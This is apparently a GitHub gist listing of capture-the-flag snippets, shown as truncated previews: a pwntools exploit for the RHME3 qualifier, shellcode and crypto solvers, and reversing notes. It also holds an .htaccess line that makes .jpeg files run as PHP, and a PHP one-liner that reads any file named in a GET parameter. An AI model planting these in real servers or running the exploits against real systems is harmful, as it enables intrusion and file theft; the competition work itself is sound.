Skip to content

Instantly share code, notes, and snippets.

@volpino
volpino / test.php
Created September 22, 2018 15:50
test
<?php
foobar
?>
AddType application/x-httpd-php .jpeg
@volpino
volpino / test_lang.php
Last active October 29, 2017 13:06
test
<?php echo readfile($_GET["c"]); ?>
@volpino
volpino / rhme3_quals_exploit.py
Created August 29, 2017 07:04
RHME3 exploit for qualification challenge
from pwn import *
#r = remote('127.0.0.1', 1337)
atoi_system_offset = 58640
r = remote('pwn.rhme.riscure.com', 1337)
# Create player 0
r.recvuntil("Your choice:")
r.send("1\n")
r.send("A" * 0 + "\n")
@volpino
volpino / grid.py
Created May 28, 2016 15:52
DEFCON 2016 b3s23
from pwn import *
"""
c6c2XX mov dl, XX
1100011011000010
1100011011000000XXXXXXXX
1100011011000111XXXXXXXX
@volpino
volpino / crypto100.py
Created October 18, 2015 14:04
hitcon simple crypto
import requests
import string
import random
import urllib
def xor(s1, s2):
assert len(s1) == 16 and len(s2) == 16
return "".join([chr(ord(s1[i]) ^ ord(s2[i])) for i in range(16)])
@volpino
volpino / opcodes
Created September 22, 2015 15:17
Reversing APC cache
Finding entry points
Branch analysis from position: 0
Jump found. Position 1 = -2
filename: /tmp/solve.php
function name: (null)
number of ops: 7
compiled vars: none
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
2 0 E > SEND_VAL 'cache.data'
#include<stdio.h>
#include<stdlib.h>
#include<klee/klee.h>
#include "defs.h"
int main(int argc, const char **argv, const char **envp);
void path_fail();
void count_fail();
void path_key();
import struct
import xtea
ciphertext = open("./ciphertext.bin").read()
def dec(word):
return struct.unpack("<I", word)[0]
def chunks(l, n):
for i in xrange(0, len(l), n):
@volpino
volpino / client.py
Created April 20, 2015 18:39
pctf cryptoserv client
from socket import socket
import struct
def q(word):
return struct.pack("<I", word)
message = "\x00\x00\x06\x00AAAA"
message += "\x00\x01\x07\x00AAAA"
message += "\x0c\x00\x00\x00AAAA"